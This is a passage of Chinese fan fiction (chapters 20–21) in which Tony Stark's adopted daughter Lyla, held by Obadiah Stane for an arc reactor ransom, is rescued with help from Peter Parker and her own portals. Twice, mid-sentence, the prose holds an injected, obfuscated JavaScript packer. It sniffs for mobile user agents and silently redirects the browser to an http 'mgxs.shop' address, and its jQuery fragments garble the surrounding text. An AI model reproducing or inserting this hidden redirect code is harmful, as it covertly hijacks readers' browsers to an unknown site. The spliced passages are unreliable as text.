小房间不大,没有窗户,只有一扇从外面锁着的铁门,墙上留着一个换气扇的出口——就是他刚刚爬下来的那个通风口。房间里的空气发闷,有一股灰尘和旧木头混合的气味。莱拉靠墙蜷在沙发上,歪着头,闭着眼睛,呼吸平稳均匀,像睡着了。 彼得蹲在她面前,犹豫了一下。他在想该怎么叫醒她,是轻轻推一下肩膀,小声喊她的名字,还是先检查一下她有没有受伤。他伸出手,正要碰到她的肩膀——然后他的身体后知后觉地从某处传来了一种莫名的警觉。不是听到声音,不是看到动静,而是一种更直接的、更本能的、像是什么东西在他的后脑勺上敲了一下。他下意识地收回了手,往后退了半步。 与此同时,莱拉睁开了眼睛。她的手从身侧抬起,快得像一条突然弹起的蛇,一把锋利的美工刀从她掌心里滑出来,刀刃在空气中划了一道细线,从彼得小腿外侧不到一厘米的地方掠过,锋利的金属带起的气流让他的皮肤上起了一层鸡皮疙瘩。 “哇——!”彼得猛地往后跳了一大步,双手举过头顶,摆出一个标准的“我投降”姿势。他的声音压得很低,但惊慌的成分一样不少,“莱拉!我不是坏人!我是来帮你的!” 莱拉靠回沙发靠背上,歪着头看着他。她手里的美工刀没有收回去,但刀刃换了个方向,不再指向他。她上下打量了他一眼——黑色卫衣,蒙面布只遮住了下半张脸,露出眼睛和额头。那些特征在昏暗中不算清晰,但她的目光在他的眉眼上停了一秒,然后笑了一下。 “原来是你啊,彼得·帕克。” “是我——等等?!”彼得的声音更低了,但惊慌翻了一倍,“你怎么知道我的名字?!你怎么认出我的?” 莱拉慢条斯理地把美工刀的刀刃收回刀身里,咔嗒一声轻响。“因为我是斯塔克。”她说,语气敷衍得像是在说“因为我是今天的值日生”,“小声点吧,帕克先生。你的声音再大一点,门口的人就该听到了。” 彼得立刻闭上了嘴。他从头顶放下手,蹲在莱拉面前,眼睛在昏暗中亮得像两颗小灯泡。“你不是昏迷了吗?” “我装晕的。”莱拉把美工刀收进袖口里,“我想看看是谁想绑架我。” 彼得看着她,张了张嘴。看着莱拉这幅冷静的模样,他突然意识到了一件事。 “你……其实根本不需要我来救你的吧?”他的声音里多了一些沮丧,“我打乱你的计划了吗?” 莱拉看着他,目光在昏暗中变得柔软了一些。她看出来了——那种“我来救你但你好像不需要我”的轻微失落,像一个买了礼物却发现对方已经有了更好的礼物的人,手里还攥着那个包装纸皱皱巴巴的盒子。 “没有。”莱拉说,“我很高兴你来救我。” 彼得抬起头看着她。莱拉的嘴角弯了一下,那个弧度很小,但确实存在:“我说真的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644079|206125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换了别人,可能就会当做没看见了。你不仅想要救我,而且还成功跟踪到了这里,你还挺厉害的。” 彼得的耳朵尖在蒙面布边缘露出来的部分,从浅粉色变成了深红色。他低下头,把目光移开,小声嘟囔了一句:“跟哄小孩子似的。” “你现在要离开吗?”彼得看着莱拉问道,“这里的通风管道有足够的空间,我可以带你离开这里。” “暂时不用。”莱拉摇了摇头说道,“我现在不打算走,我想看看幕后的人是谁。” 她看着他,语气变得认真了一些。“你听我说。等会儿有人进来把我带出去,你找个地方躲好,不要被发现。等听到他们说话的内容——等那个真正想要我的人露面——你就去找托尼。” “找斯塔克先生?”彼得重复了一遍,像是在确认这个任务的每一个细节。 “对。告诉他我被关在哪里,谁在幕后,他们想要什么。”莱拉说,“跑得快是你的特长吧?” 彼得愣了一下。他确实跑得快。在被那只蜘蛛咬了之后,他的速度比普通人快了不止一倍。除此之外,他的力量变强,攀爬能力也变强了许多,不过现在不是说这些的时候。 “嗯。”他点了一下头。 “那就好。”莱拉靠在沙发靠背上,重新闭上了眼睛,语气恢复了那种懒洋洋的调子,“现在找个地方躲起来吧。他们应该很快就来了。” 彼得站起来,环顾了一下房间,然后轻巧地爬回了通风口。他把铁栅栏重新卡在开口上,从缝隙里看下去。莱拉依然蜷在沙发上,闭着眼睛,呼吸均匀,像一个真正在睡觉的人。 大约过了二十分钟,铁门外传来了脚步声。锁被打开的声音清脆而沉闷,铁门吱呀一声被推开。两个持枪的男人走了进来,其中一个看了莱拉一眼,朝另一个点了点头。然后他们走过来,一左一右架着她的胳膊把她从沙发上拉了起来,动作不算粗暴但也不温柔,像是在搬运一件不想弄坏但也不会小心对待的货物。 莱拉没有反抗。她让他们架着自己穿过走廊,穿过那些布满灰尘的厂房区域,最后来到工厂的主厅里。主厅比刚才经过的走廊宽敞得多,光线从破碎的高窗透进来,在灰白色的水泥地面上投下一道道斜长的光柱,像是一座半废弃的教堂。大厅中央有一把椅子——木质的,旧旧的那种办公椅,椅背的漆面已经被蹭掉了大半。 他们把莱拉按在椅子上坐下。然后一个人从旁边拿了一卷绳子,开始绑她的手腕和脚踝。绳子是粗麻的那种,表面粗糙,绳子在手腕上绕了三圈,打了个结,又在小腿和椅腿之间绕了两圈,确保她无法站起来。 莱拉活动了一下手指,绳子勒得不算太紧——可能是因为对方觉得她只是个十五岁的小姑娘,不值得用太大力气。她没有挣断它,只是静静地坐在那里,等待着。 20.第二十章 那些拿着枪的武装分子们散开了,留下两个站在她身后,一个站在门口,其余的消失在工厂深处的阴影里。主厅里安静了下来,只有高窗外偶尔传来的鸟鸣声,和远处街道上的车流声,沉闷地渗进这些破旧的墙壁里。 脚步声从工厂深处传来,不急不缓,皮鞋底踩在水泥地面上发出清脆的声响,像是某种正在接近的钟摆。莱拉坐在椅子上,看着那个人从阴影中走出来,从暗处走进光柱里,一步一步,越来越清晰。 奥巴代亚·斯坦。 他穿着一件深灰色的西装,光头在从高窗照进来的光束中反射着微弱的光,脸上的表情很平静——那种平静不是轻松,不是放松,而是一种已经跨过了某条线之后、不再需要伪装任何东西的坦然。他的嘴角带着一个很浅的弧度,像是一个终于回到自己地盘的人。 莱拉看着他,眯了一下眼睛。她见过这个男人,在托尼的新闻发布会上,还有在上一世的电影里。两次都是隔着距离,但此刻他站在她面前不到五米的地方,她能闻到他身上那种古龙水的味道,能在光线下看到他下颌那道被剃须刀划过的细痕。 “奥巴代亚。”她说,声音不大,但在这个空旷的大厅里足够清晰,“你现在不应该在坐牢吗?” 奥巴代亚在她面前停下脚步,低头看着她。被绑在椅子上的女孩仰着头看他,表情平静,完全不像是个只有十几岁的小女孩。 也不像托尼·斯塔克。 “多亏了托尼。”奥巴代亚说,“他的新成果让很多人眼红。那些人想要他的技术,又不想暴露自己的身份,所以——他们让我出来。” 莱拉点了点头,像是在听一个合情合理的故事:“他们给你开了条件?” “只要拿到托尼的战甲技术,我就不用再回牢里。”奥巴代亚的语气很平,像是在陈述一个已经签了字的合同条款,“无罪释放。清空记录。一笔足够我在任何一个国家生活到老的钱。” 莱拉看着他,嘴角微微弯了一下:“所以你打算用我来交换托尼的技术。” “准确地说,是用你来交换一个方舟反应炉。”奥巴代亚纠正道,“我不需要整个战甲。只需要那个反应炉——能量核心。剩下的我的人能搞定。” 奥巴代亚从监狱里出来了,有人把他捞出来的,那些人想要托尼的技术,他们不缺资源,不缺权力,可以渗透到司法系统里把一个已经被定罪的犯人放出来干活。 两个可能,要么是一个潜伏在政府内部的超级恐怖组织,比如九头蛇什么的,要么,就干脆是官方内部的人出的手。 “我不打算为难你。”见莱拉不说话,奥巴代亚也没有在意,继续说道,“只要你不反抗,做个听话的人质,等托尼把反应炉送来,我会放你走。” 莱拉没有点头,也没有摇头。她只是靠在椅背上,看着奥巴代亚转身走向工厂深处,皮鞋的声音渐渐远去,消失在阴影里。 工厂顶端的钢梁上,彼得·帕克趴在一个他找到的绝佳隐蔽角落里,屏着呼吸,一动不动。他的卫衣几乎和钢梁的锈迹融为一体,蒙面布在昏暗的光线下看不出颜色。他的眼睛透过那道被他重新扒开一条缝的屋顶裂缝,看到了下面的全部过程——奥巴代亚从阴影中走出来,莱拉被绑在椅子上,他们之间的对话,他说的每一句话。 方舟反应炉。托尼·斯塔克。用莱拉做交换。这些人不是普通的绑匪,他们是有组织有计划的人,他们背后还有其他人。 彼得在梁上匍匐着后退了半米,然后无声地从屋顶的另一侧滑落下去,落在工厂外围的阴影里。他蹲在地上,回头看了一眼那座灰褐色的废弃工厂,确认没有人注意到他。然后他开始跑。不是面包车追逐时那种边藏边跟的跑,是真正全力的、用尽全身每一块肌肉的奔跑。他的脚在工厂外围的沙土地上踏出一个个浅浅的坑,然后冲上街道,冲入那些他熟悉的巷子和通道,像一道黑色的风在皇后区的街巷间穿行。 奥巴代亚的皮鞋声消失在工厂深处的阴影里,莱拉重新靠回椅背上,目光落在前方那些斑驳的墙壁上。她身后的两个守卫站得很直,像两根不会动的柱子,手里的枪口低垂着,但手指始终搭在扳机护圈上。门口那个守卫偶尔会回头看一眼窗外,然后又转回来。 斯塔克大厦顶层,托尼站在工作台前,马克二号的头盔正悬浮在机械臂的夹持下,银白色的金属表面在灯光下反射着冷光。他的手悬在半空中,手指微微弯曲,正要接过递来的工具。 “先生。”贾维斯的声音从天花板的角落传来,比平时快了一点,“莱拉小姐的定位信号在五分钟前中断了。最后一次信号出现在皇后区,移动速度超过正常交通速度。她的手机在信号中断前发送了一条信息。” 托尼的手停在半空中。他转过头,看着天花板上那个隐形的扬声器。“什么信息?” “只有四个字,先生。‘别急着来。’” 托尼的眉头皱了起来。他的大脑在那一瞬间完成了好几件事的并行处理——莱拉出事了,莱拉主动停止了定位信号,莱拉用加密信息告诉他不要急着来。他放下手里的工具,朝客厅的方向走去,步伐比平时快了不止一倍。 “她的手机现在在哪?” “最后一次信号的位置在皇后区。距离目前大约四公里。根据信号中断前的移动轨迹判断,她可能正在被一辆移动的车辆带走。先生,需要我报警吗?” “不报警。”托尼的声音很稳,“警察太慢。准备激活马克二号,五分钟内我要起飞。” “先生——”贾维斯的声音比刚才更慢了,更谨慎了,“莱拉小姐的信息说‘别急着来’。如果她主动中断了定位……” 托尼已经走到了客厅的落地窗前。他看着窗外曼哈顿的天际线,眉头紧紧地皱着。他知道贾维斯在说什么——莱拉不是那种会被轻易抓住的人。她在山洞里骗了所有人三个月,她会魔法,能开传送门,有远超常人的身体素质。如果她没有反抗,没有逃跑,没有开启传送门离开,而是让对方把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647290|206125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她带走了——那只有一个解释。她是故意的。 她想知道是谁在绑架她。 “她什么时候会需要我们?”托尼问,声音低了一些。 “莱拉小姐的信息中没有说明时间。”贾维斯停顿了一下,“但我们可以先做好准备,先生。” 托尼转身朝实验室走去:“马克二号还需要多长时间?” “预热已完成,战甲准备就绪。” 托尼走进实验室,银白色的战甲在机械臂的支撑下缓缓展开。他的脚步没有停顿,站在了穿戴点上,机械臂在他的周身旋转,让他的身体一点一点的被战甲覆盖。 与此同时,奥巴代亚拨通了那个号码。 电话只响了一声就被接起来了。托尼的声音从听筒里传出来,带着一丝恰到好处的不耐烦:“谁?” 奥巴代亚站在工厂二楼的办公室里,手里拿着一部加密手机,窗帘拉了一半,光线从缝隙里漏进来,在桌面上划出一道细长的金色线条。他听着托尼的声音,嘴角微微弯了一下。 “托尼。”他说。 电话那头安静了不到一秒钟。托尼没有惊讶,没有愤怒,没有任何多余的情绪,只有一种更冷的东西,像一把被慢慢抽出鞘的刀:“奥巴代亚。” “是我。”奥巴代亚的语气很轻松,像是在和一个老朋友通电话,“你最近过得好吗?” “比你好。”托尼说,“毕竟你还在坐牢。” “不准确。”奥巴代亚拉开窗帘,从二楼窗户往下看去。工厂主厅里,莱拉被绑在椅子上,身后的两个守卫像两尊雕塑一样站在那里,“我已经出来了。你的女儿给了我一张通行证。” 电话那头安静了两秒。托尼再开口的时候,声音里的温度降得更低了:“莱拉在你手上。” “是的。现在在工厂里,被绑在一张椅子上。周围有十几个人,都拿着枪。”奥巴代亚的语气像是在描述一幅画,“她看起来很镇定。” “你想要什么?” “方舟反应炉,你胸口的那个,缩小版的。”奥巴代亚的声音恢复了那种不紧不慢的、像在谈生意的调子,“你把它带过来,当面交给我,我就放她走。不报警,不通知媒体,不出任何意外。你一个人来。” 托尼的声音里多了一丝玩味的、像是看到了什么有趣东西的微妙笑意:“你觉得我会在乎她?一个被我收养的孩子,你觉得我会为她交出自己的核心技术?” “哦,托尼,我了解你。”奥巴代亚说,“所有人都觉得你是个混蛋,但我是看着你长大的,我知道,在你决定要收养这个孩子之后,你就已经把她看做是你的家人了。而我们都知道,斯塔克会为自己的家人做什么。” “又或许,我应该让她跟你打个招呼。”奥巴代亚从办公室走出来,沿着楼梯下到主厅,皮鞋踩在铁质楼梯上的声音在空旷的大厅里回荡。他走到莱拉面前,按下手机上的免提键,把手机放在了莱拉的面前,“小姑娘,来和你的父亲打个招呼。” 21.第二十一章 “嗨,托尼。”莱拉对着手机的通话界面笑了一下,声音很轻松,“下午好啊。” 托尼的声音没有了刚才刻意装出来的轻松:“你现在感觉怎么样?” “还行。”莱拉说,低头看了一眼自己被绑住的手腕,“不过可能需要你穿着战甲过来一趟。” 得到莱拉确切的信息后,托尼的声音恢复了那种带着一点傲慢的调子:“等着。” 奥巴代亚把手机收回来,对着手机说了一句:“托尼,你有一个小时的时间。过时不候。”然后挂断了电话。 他低头看了莱拉一眼:“你很会说话。” 莱拉抬头看着他,表情平静。“我只是在陈述事实。” 奥巴代亚没有再多说,转身走回了楼上。 斯塔克大厦顶层,战甲的最后一个部件闭合,面罩落下覆盖住托尼的脸。视野里的数据界面瞬间亮起,红色的准星、蓝色的能量指示、绿色的环境参数,在他眼前流动成一片熟悉的光海。他活动了一下手指,金属手套的关节处发出轻微的机械声响。 “贾维斯,定位莱拉的位置。” “目前无法定位,先生。莱拉小姐的定位信号处于关闭状态。不过——”贾维斯顿了一下,“有一个年轻人在大厦入口处,说他叫彼得·帕克,有关于莱拉小姐的消息。” 托尼的眉毛在面罩后面微微动了一下:“让他上来。直接到顶层的停机坪。” 彼得被领进电梯的时候,还在大口大口地喘气。他从皇后区的废弃工厂一路跑到曼哈顿的斯塔克大厦,全程没有停过一次步。电梯上升的速度比他跑得快得多,他能感觉到脚下的地板在微微震动,数字在楼层显示屏上不断跳动。 电梯门打开的时候,他看到了托尼·斯塔克——不,是穿着银白色战甲的托尼·斯塔克。那套战甲比他在新闻上看到的任何视频都要震撼,金属表面的光泽在灯光下流转,胸口的蓝色反应堆像是活的心脏在跳动。 “你叫彼得·帕克?”托尼的声音从战甲里传出来,比平时低了一些,带着机械的共鸣。 “是的——斯塔克先生——”彼得的声音还在喘,“莱拉——莱拉被绑架了——在皇后区——一座废弃工厂——” “我知道。”托尼说。 彼得愣住了。“你知道?” “我知道莱拉被绑架了。”托尼重复了一遍,“但我还是需要你告诉我,他们的具体位置。” 彼得的嘴巴张开又合上,他张了张嘴,正想说些什么——然后他的余光捕捉到了什么东西。 托尼身后不到两米的地方,空气正在裂开。金色的火花从虚空中迸发出来,连成一个圆形的拱门。拱门内部的空气扭曲、变形,然后变得透明——透明到可以看到另一边的景象。灰褐色的墙壁、生了锈的立柱、斑驳的安全标语。一把旧办公椅,椅子上坐着一个被绳子绑住的短发女孩,两个持枪的男人站在她身后,一个在门口。 莱拉抬起头,看到了传送门。她看到传送门那边是托尼的停机坪,看到了穿着银白色战甲的托尼,看到了站在托尼身后半步远的、满身尘土、在看到传送门后下意识地又把脸给挡住了的那个穿着黑色卫衣的男孩。 她朝传送门的方向笑了一下:“来得挺快。” 那两个守卫的反应比莱拉预想的要快。他们看到了凭空出现在大厅里的金色拱门,看到了拱门那边穿着战甲的银白色人影,他们扣动了扳机。子弹射向传送门的方向,在空气中划出一道道肉眼几乎无法捕捉的轨迹。 托尼没有躲。战甲的合金外壳挡住了那些子弹,金属碰撞的声音清脆而急促。他的脚迈出传送门,踏上了废弃工厂的水泥地面。金属战甲的重量在落脚的那一刻发出沉闷的声响,整个大厅都安静了半秒。 然后托尼的手抬起来,掌心的能量炮在蓝色光芒中充能,准星锁定了他面前的每一个持枪者。 在托尼跨过传送门后,莱拉也从椅子上站了起来。被切断的绳索随着她的动作从她身后滑落,彼得目瞪口呆的看着这一幕。旁边拿枪的男人见状转过枪口,对准了莱拉,彼得刚想冲过去把人扑倒,就看到莱拉抬起手,在面前画了个圆。 一道拳头大的传送门张开在枪口前方,另一道同时出现在她左前方的位置。男人的手指扣动扳机,子弹出膛,穿过第一道传送门,从第二道里飞了出来,穿过另一个没反应过来的同伴的后背。那人闷哼一声,倒了下去。那个开枪的男人愣住,看着自己的枪口和倒下的同伴,嘴巴张了张,还没来得及做第二个动作——一道银白色的身影已经出现在他面前,金属手掌按在他的胸口,把他推出去撞在墙上。 与此同时,不远处还有三个持枪者正在抬枪,其中一人的准星追着彼得的方向——那个穿着黑色卫衣的男孩正站在托尼身后半步远,还在从刚看到传送门的震惊中缓神。莱拉没有犹豫,手指在空中划了一道圆弧。 彼得脚下出现了一道金色的传送门。他还没来得及出声,整个人就坠了下去,穿过那道发光的圆环,从二楼走廊尽头的天花板处掉了下来。他落地的时候膝盖微屈,轻易地卸去了冲力,站稳了身体。他抬起头,面前站着一个人。 奥巴代亚·斯坦。 他手里拿着一把深色的手枪,正沿着走廊快步朝另一端的出口走去,听到身后的声响,猛地转过头。他看到了彼得——一个穿着黑色卫衣、脸上蒙着块布、从天花板上摔下来却毫发无损的男孩,正蹲在他面前不到两米的地方。 奥巴代亚的手比他的脑子反应得快,枪口已经抬起,准星对准了彼得的胸口。彼得自己也说不清是怎么回事——他的身体像是自己动了。背部某个位置传来一种微妙的拉扯感,像是什么东西在他大脑深处弹了一下,腰腹的肌肉瞬间收紧,整个人的重心向侧面偏移,避 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奥巴代亚盯着他,目光从那双布缝后面露出的眼睛移到他的动作上。一个穿着旧卫衣、脸上蒙着布、能从天而降而且力气大得不像话的小子——这不是正常人。但奥巴代亚没有时间想他是谁,另一个方向传来了战甲的脚步声,沉重而均匀,正在靠近。 楼下大厅的响动也安静下来了。枪声停了,脚步声停了,叫喊声也停了。托尼穿着马克二号,站在大厅中央,脚边的地面上零散地倒着几个失去行动能力的人。最后一个是那个守卫在门口的,被托尼一掌打在后颈上,软软地滑了下去。大厅里只剩下远处某个角落里传来一声被堵住的咳嗽,然后也安静了。 莱拉从椅子上站起来之后,没有加入楼下的战斗。她靠在工厂内的一根柱子上,双手抱臂,看着托尼把最后一个守卫放倒,然后目光转向二楼走廊的方向,看到彼得正抓着奥巴代亚的手腕,稳稳地站在那里。 收回目光,莱拉朝着打开面甲的托尼走了过去。 “甜心,你有受伤吗?”看到莱拉过来,托尼有些关切的问道。 莱拉笑了笑:“当然没有,你来的很及时。” 托尼看了看周围倒了一地,但并非全部失去了意识的众人:“你想要怎么处理这些人?” 莱拉想了想后说道:“奥巴代亚能够从监狱里出来,我们这边还没有得到任何消息,就说明他不是通过正规渠道,或者钻程序漏洞出来的,而是因为官方系统里有人动了手。” “所以,这帮人不能交到官方的人手里,不然就和当场释放这些家伙没什么区别了。” 说道释放,莱拉抬头看了眼二楼,伸手画了个圈,让彼得和奥巴代亚都掉在了他们面前:“你可以放开他了。” 彼得闻言,立即松开了抓着奥巴代亚的手,同时也松了口气。 终于不用再保持刚才那尴尬的姿势了。 奥巴代亚看着穿着战甲的托尼,能随手画出传送门的莱拉,以及把他的手捏得青紫的蒙面卫衣男孩儿,明白自己是彻底无法逃走了。